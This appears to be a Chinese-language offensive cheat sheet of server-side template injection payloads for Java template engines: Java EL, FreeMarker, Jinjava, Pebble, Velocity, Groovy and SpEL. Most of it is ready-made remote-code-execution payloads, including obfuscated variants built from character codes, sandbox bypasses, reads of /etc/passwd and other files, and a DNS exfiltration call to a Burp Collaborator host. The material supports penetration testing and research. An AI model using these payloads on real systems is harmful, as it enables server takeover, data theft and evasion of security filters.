服务端模板注入 (SSTI) - Java
服务端模板注入 (SSTI) 是一种安全漏洞,当用户输入以不安全的方式嵌入到服务端模板中时就会产生,从而允许攻击者注入并执行任意代码。在 Java 中,由于基于 Java 的模板引擎(如 JSP (JavaServer Pages)、Thymeleaf 和 FreeMarker)具有强大的功能和灵活性,SSTI 可能特别危险。
摘要 (Summary)
- 模板库 (#templating-libraries)
- Java EL
- Freemarker
- Jinjava
- Pebble
- Velocity
- Groovy
- Spring 表达式语言 (SpEL)
- 参考资料 (#references)
模板库 (Templating Libraries)
| 模板名称 | 载荷格式 |
|---|---|
| Codepen | #{ } |
| Freemarker | ${ }, #{ }, [= ] |
| Groovy | ${ } |
| Jinjava | {{ }} |
| Pebble | {{ }} |
| Spring | *{ } |
| Thymeleaf | [[ ]] |
| Velocity | #set($X="") $X |
Java EL
Java EL - 基础注入
Java 有多种使用类似语法的表达式语言 (EL)。
可以使用多个变量表达式,如果
${...}不起作用,请尝试#{...}、*{...}、@{...}或~{...}。
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
Java EL - 代码执行
${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())} // 回显型 RCE
${''.getClass().forName('java.lang.Integer').valueOf('x'+''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes()))} // 报错型 RCE
${1/((''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor()==0)?1:0)+''} // 布尔型 RCE
${(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor().equals(0)?(''.getClass().forName('java.lang.Thread')).sleep(5000):0).toString()} // 时间型 RCE
Freemarker
Apache FreeMarker™ 是一个模板引擎:一个基于模板和变化的数据来生成文本输出(HTML 网页、电子邮件、配置文件、源代码等)的 Java 库。
你可以在 https://try.freemarker.apache.org 尝试你的载荷。
Freemarker - 基础注入
模板可以是:
- 默认:
${3*3} - 传统:
#{3*3} - 替代方案:
[=3*3](自 FreeMarker 2.3.4 起)
Freemarker - 读取文件
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('文件路径').toURL().openStream().readAllBytes()?join(" ")}
将返回的字节转换为 ASCII
Freemarker - 代码执行
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]
${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()} // 报错型 RCE
${1/((freemarker.template.utility.Execute"?new()(" … && echo UniqueString")?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval)} // 布尔型 RCE
${"freemarker.template.utility.Execute"?new()("id && sleep 5")} // 时间型 RCE
Freemarker - 混淆后的代码执行
FreeMarker 提供了内建函数:lower_abc。此函数将基于整数的值转换为字母字符串,但其方式可能与你在 Python 中的 chr 等函数所期望的不同。正如 lower_abc 文档所解释的:
如果您想要一个代表字符串 "id" 的字符串,您可以使用载荷:${9?lower_abc+4?lower_abc)}。
链式调用 lower_abc 以执行代码(命令:id):
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}
载荷的参考和说明可以在 yeswehack/server-side-template-injection-exploitation 找到。
Freemarker - 沙箱绕过
仅适用于 2.3.30 以下版本的 Freemarker
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Jinjava
基于 Java 的模板引擎,采用 Django 模板语法,适用于渲染 Jinja 模板(至少是 HubSpot 内容中使用的 Jinja 子集)。
Jinjava - 基础注入
{{'a'.toUpperCase()}} 结果为 'A'
{{ request }} 将返回一个请求对象,例如 com.[...].context.TemplateContextRequest@23548206
Jinjava 是由 Hubspot 开发的一个开源项目,可在 https://github.com/HubSpot/jinjava/ 找到。
Jinjava - 命令执行
已通过 HubSpot/jinjava PR #230 修复。
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Pebble
Pebble 是一个受 Twig 启发且类似于 Python Jinja 模板引擎语法的 Java 模板引擎。它具有模板继承和易读语法的特点,自带自动转义功能以确保安全,并包含对国际化的集成支持。
Pebble - 基础注入
Pebble - 代码执行
Pebble 的旧版本 (< 3.0.9):{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}。
Pebble 的新版本:
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Velocity
Apache Velocity 是一个基于 Java 的模板引擎,允许 Web 设计师在模板中直接嵌入 Java 代码引用。
在存在漏洞的环境中,可以滥用 Velocity 的表达式语言来实现远程代码执行 (RCE)。例如,此载荷执行 whoami 命令并打印结果:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
一种更为灵活和隐蔽的载荷,支持 Base64 编码的命令,允许执行任意 Shell 命令,例如 echo "a" > /tmp/a。以下是以 Base64 形式执行 whoami 的示例:
#set($base64EncodedCommand = 'd2hvYW1p')
#set($contextObjectClass = $knownContextObject.getClass())
#set($Base64Class = $contextObjectClass.forName("java.util.Base64"))
#set($Base64Decoder = $Base64Class.getMethod("getDecoder").invoke(null))
#set($decodedBytes = $Base64Decoder.decode($base64EncodedCommand))
#set($StringClass = $contextObjectClass.forName("java.lang.String"))
#set($command = $StringClass.getConstructor($contextObjectClass.forName("[B"), $contextObjectClass.forName("java.lang.String")).newInstance($decodedBytes, "UTF-8"))
#set($commandArgs = ["/bin/sh", "-c", $command])
#set($ProcessBuilderClass = $contextObjectClass.forName("java.lang.ProcessBuilder"))
#set($processBuilder = $ProcessBuilderClass.getConstructor($contextObjectClass.forName("java.util.List")).newInstance($commandArgs))
#set($processBuilder = $processBuilder.redirectErrorStream(true))
#set($process = $processBuilder.start())
#set($exitCode = $process.waitFor())
#set($inputStream = $process.getInputStream())
#set($ScannerClass = $contextObjectClass.forName("java.util.Scanner"))
#set($scanner = $ScannerClass.getConstructor($contextObjectClass.forName("java.io.InputStream")).newInstance($inputStream))
#set($scannerDelimiter = $scanner.useDelimiter("\\A"))
#if($scanner.hasNext())
#set($output = $scanner.next().trim())
$output.replaceAll("\\s+$", "").replaceAll("^\\s+", "")
#end
报错型 RCE 载荷:
#set($s="")
#set($sc=$s.getClass().getConstructor($s.getClass().forName("[B"), $s.getClass()))
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id")
#set($n=$p.waitFor())
#set($b="Y:/A:/"+$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8"))
#include($b)
布尔型 RCE 载荷:
#set($s="")
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
#set($n=$p.waitFor())
#set($r=$p.exitValue())
#if($r != 0)
#include("Y:/A:/xxx")
#end
时间型 RCE 载荷:
#set($s="")
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
#set($n=$p.waitFor())
#set($r=$p.exitValue())
#if($r != 0)
#set($t=$s.getClass().forName("java.lang.Thread").sleep(5000))
#end
Groovy
Groovy - 基础注入
参考 groovy-lang.org/syntax,${9*9} 是最基础的注入。
Groovy - 读取文件
${String x = new File('c:/windows/notepad.exe').text}
${String x = new File('/文件路径').getText('UTF-8')}
${new File("C:\Temp\FileName.txt").createNewFile();}
Groovy - HTTP 请求
Groovy - 命令执行
${"calc.exe".exec()}
${"calc.exe".execute()}
${this.evaluate("9*9") //(这是一个 Script 类)}
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}
Groovy - 混淆后的命令执行
您可以通过从 ASCII 码构建字符串并将其作为系统命令执行来绕过安全过滤器。
代表字符串 id 的载荷:${((char)105).toString()+((char)100).toString()}。
执行系统命令(命令:id):
${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}
载荷的参考和说明可以在 yeswehack/server-side-template-injection-exploitation 找到。
Groovy - 沙箱绕过
或者
${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }
Spring 表达式语言 (SpEL)
Java EL 载荷通常也适用于 SpEL
Spring 表达式语言(简称 SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于 Unified EL,但提供了更多功能,最显着的是方法调用和基本的字符串模板功能。
SpEL - 基础注入
SpEL - 获取环境变量
SpEL - 获取 /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
SpEL - DNS 数据外带 (Exfiltration)
DNS 查询:
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}
SpEL - Session 属性
修改 session 属性:
SpEL - 命令执行
-
使用
java.lang.Runtime的方法 #1 - 通过 JavaClass 访问 -
使用
java.lang.Runtime的方法 #2 -
使用
java.lang.Runtime的方法 #3 - 通过invoke访问 -
使用
java.lang.Runtime的方法 #4 - 通过javax.script.ScriptEngineManager访问 -
使用
java.lang.ProcessBuilder的方法${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} ${request.getAttribute("c").add("cmd.exe")} ${request.getAttribute("c").add("/k")} ${request.getAttribute("c").add("ping x.x.x.x")} ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())} ${request.getAttribute("a")}
参考资料 (References)
- Bean Stalking: 将 Java beans 转化为 RCE - Alvaro Munoz - 2020年7月7日
- 漏洞报告:通过 Spring Boot 错误页面的 SSTI 实现 RCE(绕过 Akamai WAF) - Peter M (@pmnh_) - 2022年12月4日
- 表达式语言注入 (EL Injection) - OWASP - 2019年12月4日
- 表达式语言注入 - PortSwigger - 2019年1月27日
- 利用 Spring 表达式语言 (SpEL) 注入漏洞(又名 The Magic SpEL)获取 RCE - Xenofon Vassilakopoulos - 2021年11月18日
- 受限只是错觉 —— 实现到处 RCE 的高级服务端模板利用 - Brumens - 2025年3月24日
- 利用 HubL 中的 EL 注入实现在 HubSpot 中的 RCE - @fyoorer - 2018年12月7日
- 利用 EL 注入实现远程代码执行 - Asif Durani - 2019年1月29日
- 服务端模板注入 —— 以 Pebble 为例 - Michał Bentkowski - 2019年9月17日
- 服务端模板注入:现代 Web 应用的 RCE - James Kettle (@albinowax) - 2015年12月10日
- 服务端模板注入:现代 Web 应用的 RCE (PDF) - James Kettle (@albinowax) - 2015年8月8日
- 服务端模板注入:现代 Web 应用的 RCE (视频) - James Kettle (@albinowax) - 2015年12月28日
- VelocityServlet 表达式语言注入 - MagicBlue - 2017年11月15日
- 成功的错误:新的代码注入和 SSTI 技术 - Vladislav Korchagin - 2026年1月3日